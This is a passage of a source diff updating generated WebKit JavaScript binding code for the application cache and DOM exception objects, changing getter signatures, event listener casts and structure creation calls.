     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
     if (EventListener* listener = imp->onprogress()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMApplicationCacheOnupdateready(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheOnupdateready(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
     if (EventListener* listener = imp->onupdateready()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMApplicationCacheOncached(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheOncached(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
     if (EventListener* listener = imp->oncached()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMApplicationCacheOnobsolete(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheOnobsolete(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
     if (EventListener* listener = imp->onobsolete()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
@@ -255,80 +270,56 @@ void setJSDOMApplicationCacheOnchecking(ExecState* exec, JSObject* thisObject, J
 {
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(static_cast<JSDOMApplicationCache*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnchecking(globalObject->createJSAttributeEventListener(value));
+    imp->setOnchecking(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMApplicationCacheOnerror(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(static_cast<JSDOMApplicationCache*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnerror(globalObject->createJSAttributeEventListener(value));
+    imp->setOnerror(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMApplicationCacheOnnoupdate(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(static_cast<JSDOMApplicationCache*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnnoupdate(globalObject->createJSAttributeEventListener(value));
+    imp->setOnnoupdate(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMApplicationCacheOndownloading(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(static_cast<JSDOMApplicationCache*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndownloading(globalObject->createJSAttributeEventListener(value));
+    imp->setOndownloading(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMApplicationCacheOnprogress(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(static_cast<JSDOMApplicationCache*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnprogress(globalObject->createJSAttributeEventListener(value));
+    imp->setOnprogress(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMApplicationCacheOnupdateready(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(static_cast<JSDOMApplicationCache*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnupdateready(globalObject->createJSAttributeEventListener(value));
+    imp->setOnupdateready(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMApplicationCacheOncached(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(static_cast<JSDOMApplicationCache*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOncached(globalObject->createJSAttributeEventListener(value));
+    imp->setOncached(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMApplicationCacheOnobsolete(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(static_cast<JSDOMApplicationCache*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnobsolete(globalObject->createJSAttributeEventListener(value));
+    imp->setOnobsolete(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 JSValue JSC_HOST_CALL jsDOMApplicationCachePrototypeFunctionUpdate(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -395,32 +386,32 @@ JSValue JSC_HOST_CALL jsDOMApplicationCachePrototypeFunctionDispatchEvent(ExecSt
 
 // Constant getters
 
-JSValue jsDOMApplicationCacheUNCACHED(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMApplicationCacheUNCACHED(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(0));
 }
 
-JSValue jsDOMApplicationCacheIDLE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMApplicationCacheIDLE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsDOMApplicationCacheCHECKING(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMApplicationCacheCHECKING(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
 
-JSValue jsDOMApplicationCacheDOWNLOADING(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMApplicationCacheDOWNLOADING(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(3));
 }
 
-JSValue jsDOMApplicationCacheUPDATEREADY(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMApplicationCacheUPDATEREADY(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(4));
 }
 
-JSValue jsDOMApplicationCacheOBSOLETE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMApplicationCacheOBSOLETE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(5));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMApplicationCache.h b/src/3rdparty/webkit/WebCore/generated/JSDOMApplicationCache.h
index 2ee87d4..32b97e0 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMApplicationCache.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMApplicationCache.h
@@ -23,7 +23,6 @@
 
 #if ENABLE(OFFLINE_WEB_APPLICATIONS)
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -46,7 +45,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
@@ -76,7 +75,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDOMApplicationCachePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -92,31 +91,31 @@ JSC::JSValue JSC_HOST_CALL jsDOMApplicationCachePrototypeFunctionRemoveEventList
 JSC::JSValue JSC_HOST_CALL jsDOMApplicationCachePrototypeFunctionDispatchEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDOMApplicationCacheStatus(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMApplicationCacheOnchecking(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheStatus(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMApplicationCacheOnchecking(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMApplicationCacheOnchecking(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMApplicationCacheOnerror(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheOnerror(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMApplicationCacheOnerror(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMApplicationCacheOnnoupdate(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheOnnoupdate(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMApplicationCacheOnnoupdate(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMApplicationCacheOndownloading(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheOndownloading(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMApplicationCacheOndownloading(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMApplicationCacheOnprogress(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheOnprogress(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMApplicationCacheOnprogress(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMApplicationCacheOnupdateready(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheOnupdateready(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMApplicationCacheOnupdateready(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMApplicationCacheOncached(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheOncached(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMApplicationCacheOncached(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMApplicationCacheOnobsolete(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheOnobsolete(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMApplicationCacheOnobsolete(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
 // Constants
 
-JSC::JSValue jsDOMApplicationCacheUNCACHED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMApplicationCacheIDLE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMApplicationCacheCHECKING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMApplicationCacheDOWNLOADING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMApplicationCacheUPDATEREADY(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMApplicationCacheOBSOLETE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMApplicationCacheUNCACHED(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMApplicationCacheIDLE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMApplicationCacheCHECKING(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMApplicationCacheDOWNLOADING(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMApplicationCacheUPDATEREADY(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMApplicationCacheOBSOLETE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMCoreException.cpp b/src/3rdparty/webkit/WebCore/generated/JSDOMCoreException.cpp
index ff88905..49da4d0 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMCoreException.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMCoreException.cpp
@@ -38,10 +38,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSDOMCoreException);
 
 static const HashTableValue JSDOMCoreExceptionTableValues[5] =
 {
-    { "code", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionCode, (intptr_t)0 },
-    { "name", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionName, (intptr_t)0 },
-    { "message", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionMessage, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsDOMCoreExceptionConstructor, (intptr_t)0 },
+    { "code", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionCode), (intptr_t)0 },
+    { "name", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionName), (intptr_t)0 },
+    { "message", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionMessage), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -56,28 +56,28 @@ static JSC_CONST_HASHTABLE HashTable JSDOMCoreExceptionTable =
 
 static const HashTableValue JSDOMCoreExceptionConstructorTableValues[23] =
 {
-    { "INDEX_SIZE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINDEX_SIZE_ERR, (intptr_t)0 },
-    { "DOMSTRING_SIZE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionDOMSTRING_SIZE_ERR, (intptr_t)0 },
-    { "HIERARCHY_REQUEST_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionHIERARCHY_REQUEST_ERR, (intptr_t)0 },
-    { "WRONG_DOCUMENT_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionWRONG_DOCUMENT_ERR, (intptr_t)0 },
-    { "INVALID_CHARACTER_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINVALID_CHARACTER_ERR, (intptr_t)0 },
-    { "NO_DATA_ALLOWED_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNO_DATA_ALLOWED_ERR, (intptr_t)0 },
-    { "NO_MODIFICATION_ALLOWED_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNO_MODIFICATION_ALLOWED_ERR, (intptr_t)0 },
-    { "NOT_FOUND_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNOT_FOUND_ERR, (intptr_t)0 },
-    { "NOT_SUPPORTED_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNOT_SUPPORTED_ERR, (intptr_t)0 },
-    { "INUSE_ATTRIBUTE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINUSE_ATTRIBUTE_ERR, (intptr_t)0 },
-    { "INVALID_STATE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINVALID_STATE_ERR, (intptr_t)0 },
-    { "SYNTAX_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionSYNTAX_ERR, (intptr_t)0 },
-    { "INVALID_MODIFICATION_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINVALID_MODIFICATION_ERR, (intptr_t)0 },
-    { "NAMESPACE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNAMESPACE_ERR, (intptr_t)0 },
-    { "INVALID_ACCESS_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINVALID_ACCESS_ERR, (intptr_t)0 },
-    { "VALIDATION_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionVALIDATION_ERR, (intptr_t)0 },
-    { "TYPE_MISMATCH_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionTYPE_MISMATCH_ERR, (intptr_t)0 },
-    { "SECURITY_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionSECURITY_ERR, (intptr_t)0 },
-    { "NETWORK_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNETWORK_ERR, (intptr_t)0 },
-    { "ABORT_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionABORT_ERR, (intptr_t)0 },
-    { "URL_MISMATCH_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionURL_MISMATCH_ERR, (intptr_t)0 },
-    { "QUOTA_EXCEEDED_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionQUOTA_EXCEEDED_ERR, (intptr_t)0 },
+    { "INDEX_SIZE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINDEX_SIZE_ERR), (intptr_t)0 },
+    { "DOMSTRING_SIZE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionDOMSTRING_SIZE_ERR), (intptr_t)0 },
+    { "HIERARCHY_REQUEST_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionHIERARCHY_REQUEST_ERR), (intptr_t)0 },
+    { "WRONG_DOCUMENT_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionWRONG_DOCUMENT_ERR), (intptr_t)0 },
+    { "INVALID_CHARACTER_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINVALID_CHARACTER_ERR), (intptr_t)0 },
+    { "NO_DATA_ALLOWED_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNO_DATA_ALLOWED_ERR), (intptr_t)0 },
+    { "NO_MODIFICATION_ALLOWED_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNO_MODIFICATION_ALLOWED_ERR), (intptr_t)0 },
+    { "NOT_FOUND_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNOT_FOUND_ERR), (intptr_t)0 },
+    { "NOT_SUPPORTED_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNOT_SUPPORTED_ERR), (intptr_t)0 },
+    { "INUSE_ATTRIBUTE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINUSE_ATTRIBUTE_ERR), (intptr_t)0 },
+    { "INVALID_STATE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINVALID_STATE_ERR), (intptr_t)0 },
+    { "SYNTAX_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionSYNTAX_ERR), (intptr_t)0 },
+    { "INVALID_MODIFICATION_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINVALID_MODIFICATION_ERR), (intptr_t)0 },
+    { "NAMESPACE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNAMESPACE_ERR), (intptr_t)0 },
+    { "INVALID_ACCESS_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINVALID_ACCESS_ERR), (intptr_t)0 },
+    { "VALIDATION_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionVALIDATION_ERR), (intptr_t)0 },
+    { "TYPE_MISMATCH_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionTYPE_MISMATCH_ERR), (intptr_t)0 },
+    { "SECURITY_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionSECURITY_ERR), (intptr_t)0 },
+    { "NETWORK_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNETWORK_ERR), (intptr_t)0 },
+    { "ABORT_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionABORT_ERR), (intptr_t)0 },
+    { "URL_MISMATCH_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionURL_MISMATCH_ERR), (intptr_t)0 },
+    { "QUOTA_EXCEEDED_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionQUOTA_EXCEEDED_ERR), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -102,7 +102,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -125,29 +125,29 @@ bool JSDOMCoreExceptionConstructor::getOwnPropertyDescriptor(ExecState* exec, co
 
 static const HashTableValue JSDOMCoreExceptionPrototypeTableValues[24] =
 {
-    { "INDEX_SIZE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINDEX_SIZE_ERR, (intptr_t)0 },
-    { "DOMSTRING_SIZE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionDOMSTRING_SIZE_ERR, (intptr_t)0 },
-    { "HIERARCHY_REQUEST_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionHIERARCHY_REQUEST_ERR, (intptr_t)0 },
-    { "WRONG_DOCUMENT_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionWRONG_DOCUMENT_ERR, (intptr_t)0 },
-    { "INVALID_CHARACTER_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINVALID_CHARACTER_ERR, (intptr_t)0 },
-    { "NO_DATA_ALLOWED_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNO_DATA_ALLOWED_ERR, (intptr_t)0 },
-    { "NO_MODIFICATION_ALLOWED_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNO_MODIFICATION_ALLOWED_ERR, (intptr_t)0 },
-    { "NOT_FOUND_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNOT_FOUND_ERR, (intptr_t)0 },
-    { "NOT_SUPPORTED_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNOT_SUPPORTED_ERR, (intptr_t)0 },
-    { "INUSE_ATTRIBUTE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINUSE_ATTRIBUTE_ERR, (intptr_t)0 },
-    { "INVALID_STATE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINVALID_STATE_ERR, (intptr_t)0 },
-    { "SYNTAX_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionSYNTAX_ERR, (intptr_t)0 },
-    { "INVALID_MODIFICATION_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINVALID_MODIFICATION_ERR, (intptr_t)0 },
-    { "NAMESPACE_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNAMESPACE_ERR, (intptr_t)0 },
-    { "INVALID_ACCESS_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionINVALID_ACCESS_ERR, (intptr_t)0 },
-    { "VALIDATION_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionVALIDATION_ERR, (intptr_t)0 },
-    { "TYPE_MISMATCH_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionTYPE_MISMATCH_ERR, (intptr_t)0 },
-    { "SECURITY_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionSECURITY_ERR, (intptr_t)0 },
-    { "NETWORK_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionNETWORK_ERR, (intptr_t)0 },
-    { "ABORT_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionABORT_ERR, (intptr_t)0 },
-    { "URL_MISMATCH_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionURL_MISMATCH_ERR, (intptr_t)0 },
-    { "QUOTA_EXCEEDED_ERR", DontDelete|ReadOnly, (intptr_t)jsDOMCoreExceptionQUOTA_EXCEEDED_ERR, (intptr_t)0 },
-    { "toString", DontDelete|DontEnum|Function, (intptr_t)jsDOMCoreExceptionPrototypeFunctionToString, (intptr_t)0 },
+    { "INDEX_SIZE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINDEX_SIZE_ERR), (intptr_t)0 },
+    { "DOMSTRING_SIZE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionDOMSTRING_SIZE_ERR), (intptr_t)0 },
+    { "HIERARCHY_REQUEST_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionHIERARCHY_REQUEST_ERR), (intptr_t)0 },
+    { "WRONG_DOCUMENT_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionWRONG_DOCUMENT_ERR), (intptr_t)0 },
+    { "INVALID_CHARACTER_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINVALID_CHARACTER_ERR), (intptr_t)0 },
